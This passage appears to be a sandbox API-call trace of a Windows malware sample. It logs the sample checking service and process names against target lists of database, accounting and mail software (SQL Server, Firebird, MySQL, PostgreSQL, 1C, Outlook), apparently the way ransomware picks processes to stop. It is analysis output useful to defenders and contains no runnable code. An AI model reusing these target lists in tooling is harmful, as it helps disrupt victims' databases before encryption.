lstrlenW (lpString="RpcSs") returned 5 [0040.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.424] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.424] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.424] lstrlenW (lpString="SamSs") returned 5 [0040.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.424] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.424] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.424] lstrlenW (lpString="Schedule") returned 8 [0040.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.424] lstrlenW (lpString="SENS") returned 4 [0040.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.424] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.424] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.425] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.425] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.425] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.425] lstrlenW (lpString="Spooler") returned 7 [0040.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.425] lstrlenW (lpString="SysMain") returned 7 [0040.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.425] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.425] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.425] lstrlenW (lpString="Themes") returned 6 [0040.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.425] lstrlenW (lpString="TrkWks") returned 6 [0040.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.425] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.425] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.425] lstrlenW (lpString="UxSms") returned 5 [0040.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.426] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.426] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.426] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.426] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.426] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.426] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.426] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.426] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.426] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.426] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.426] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.426] lstrlenW (lpString="Winmgmt") returned 7 [0040.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.426] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.427] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.427] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x694200 | out: hHeap=0x5a0000) returned 1 [0040.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0040.429] Process32FirstW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.429] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.430] lstrlenW (lpString="System") returned 6 [0040.430] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.430] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.430] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.430] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.431] lstrlenW (lpString="smss.exe") returned 8 [0040.431] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.431] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.431] lstrlenW (lpString="csrss.exe") returned 9 [0040.431] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.431] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.431] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.432] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.432] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.432] lstrlenW (lpString="wininit.exe") returned 11 [0040.432] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.432] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.432] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.432] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.432] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.432] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.432] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.433] lstrlenW (lpString="csrss.exe") returned 9 [0040.433] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.433] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.433] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.433] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.433] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.434] lstrlenW (lpString="winlogon.exe") returned 12 [0040.434] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.434] lstrlenW (lpString="services.exe") returned 12 [0040.434] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.435] lstrlenW (lpString="lsass.exe") returned 9 [0040.435] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.435] lstrlenW (lpString="lsm.exe") returned 7 [0040.435] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.436] lstrlenW (lpString="svchost.exe") returned 11 [0040.436] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.436] lstrlenW (lpString="svchost.exe") returned 11 [0040.436] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.437] lstrlenW (lpString="svchost.exe") returned 11 [0040.437] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.437] lstrlenW (lpString="svchost.exe") returned 11 [0040.437] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.438] lstrlenW (lpString="svchost.exe") returned 11 [0040.438] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.438] lstrlenW (lpString="audiodg.exe") returned 11 [0040.438] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.439] lstrlenW (lpString="svchost.exe") returned 11 [0040.439] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.441] lstrlenW (lpString="svchost.exe") returned 11 [0040.441] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.441] lstrlenW (lpString="dwm.exe") returned 7 [0040.441] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.442] lstrlenW (lpString="explorer.exe") returned 12 [0040.442] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.442] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.442] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.443] lstrlenW (lpString="taskhost.exe") returned 12 [0040.443] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.443] lstrlenW (lpString="svchost.exe") returned 11 [0040.443] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.444] lstrlenW (lpString="taskeng.exe") returned 11 [0040.444] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.444] lstrlenW (lpString="taskhost.exe") returned 12 [0040.444] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0040.445] lstrlenW (lpString="promotesrouting.exe") returned 19 [0040.445] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0040.445] lstrlenW (lpString="rxcalled.exe") returned 12 [0040.446] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0040.446] lstrlenW (lpString="off.exe") returned 7 [0040.446] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0040.447] lstrlenW (lpString="mayorintl.exe") returned 13 [0040.447] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0040.447] lstrlenW (lpString="gzip-june.exe") returned 13 [0040.447] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0040.448] lstrlenW (lpString="lsnavy.exe") returned 10 [0040.448] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0040.448] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0040.449] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0040.449] lstrlenW (lpString="specifications.exe") returned 18 [0040.449] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0040.449] lstrlenW (lpString="soup-mario.exe") returned 14 [0040.450] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0040.450] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0040.450] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0040.451] lstrlenW (lpString="platformsprivate.exe") returned 20 [0040.451] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0040.451] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0040.451] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0040.452] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0040.452] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0040.452] lstrlenW (lpString="scan-allows.exe") returned 15 [0040.452] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0040.453] lstrlenW (lpString="mwprovince.exe") returned 14 [0040.453] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0040.453] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0040.453] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0040.454] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0040.454] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0040.454] lstrlenW (lpString="contacting.exe") returned 14 [0040.454] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0040.455] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0040.455] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0040.455] lstrlenW (lpString="jpmanagers.exe") returned 14 [0040.455] Process32NextW (in: hSnapshot=0x168, 